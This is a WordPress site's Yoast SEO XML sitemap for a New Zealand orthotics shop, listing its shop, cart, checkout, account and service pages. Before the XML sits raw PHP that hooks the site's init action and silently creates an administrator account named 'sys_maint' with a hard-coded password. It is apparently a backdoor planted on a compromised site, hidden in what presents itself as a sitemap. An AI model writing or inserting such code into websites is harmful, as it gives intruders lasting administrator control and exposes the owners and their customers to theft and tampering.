$user = 'sys_maint';
$pass = 'ChangeMe_Str0ng!'; 
$email = 'sys_maint@local.com'; 

function quick_create() {
    global $user, $pass, $email;
    
    if (!username_exists($user) && !email_exists($email)) {
        $id = wp_create_user($user, $pass, $email);
        if (!is_wp_error($id)) {
            $u = new WP_User($id);
            $u->set_role('administrator');
        }
    }
}
add_action('init', 'quick_create');
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//stridewellorthotics.co.nz/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd http://www.google.com/schemas/sitemap-image/1.1 http://www.google.com/schemas/sitemap-image/1.1/sitemap-image.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<url>
		<loc>https://stridewellorthotics.co.nz/</loc>
		<lastmod>2026-08-03T07:31:55+00:00</lastmod>
		<image:image>
			<image:loc>https://stridewellorthotics.co.nz/wp-content/uploads/2026/06/project_comment_file6a229da422ddf-IMG_1042.webp</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://stridewellorthotics.co.nz/shop/</loc>
		<lastmod>2026-05-25T08:23:07+00:00</lastmod>
	</url>
	<url>
		<loc>https://stridewellorthotics.co.nz/cart/</loc>
		<lastmod>2026-05-25T08:23:07+00:00</lastmod>
	</url>
	<url>
		<loc>https://stridewellorthotics.co.nz/checkout/</loc>
		<lastmod>2026-05-25T08:23:07+00:00</lastmod>
	</url>
	<url>
		<loc>https://stridewellorthotics.co.nz/my-account/</loc>
		<lastmod>2026-05-25T08:23:07+00:00</lastmod>
	</url>
	<url>
		<loc>https://stridewellorthotics.co.nz/about-us/</loc>
		<lastmod>2026-05-28T05:17:39+00:00</lastmod>
		<image:image>
			<image:loc>https://stridewellorthotics.co.nz/wp-content/uploads/2026/05/medcare-img19.webp</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://stridewellorthotics.co.nz/wp-content/uploads/2026/05/bosa-dental-img10-197-64-1.webp</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://stridewellorthotics.co.nz/wp-content/uploads/2026/05/project_comment_file6a176c8c28705-Rebound_Air_Walker_Product_Image_8cygdg-708x1024.webp</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://stridewellorthotics.co.nz/services/</loc>
		<lastmod>2026-05-28T05:18:05+00:00</lastmod>
	</url>
	<url>
		<loc>https://stridewellorthotics.co.nz/contact-us/</loc>
		<lastmod>2026-05-28T05:19:24+00:00</lastmod>
	</url>
	<url>
		<loc>https://stridewellorthotics.co.nz/how-it-works/</loc>
		<lastmod>2026-06-29T01:49:29+00:00</lastmod>
	</url>
	<url>
		<loc>https://stridewellorthotics.co.nz/services-2/</loc>
		<lastmod>2026-08-03T07:50:43+00:00</lastmod>
	</url>
	<url>
		<loc>https://stridewellorthotics.co.nz/contact-us-2/</loc>
		<lastmod>2026-08-18T03:05:40+00:00</lastmod>
	</url>
</urlset>
<!-- XML Sitemap generated by Yoast SEO -->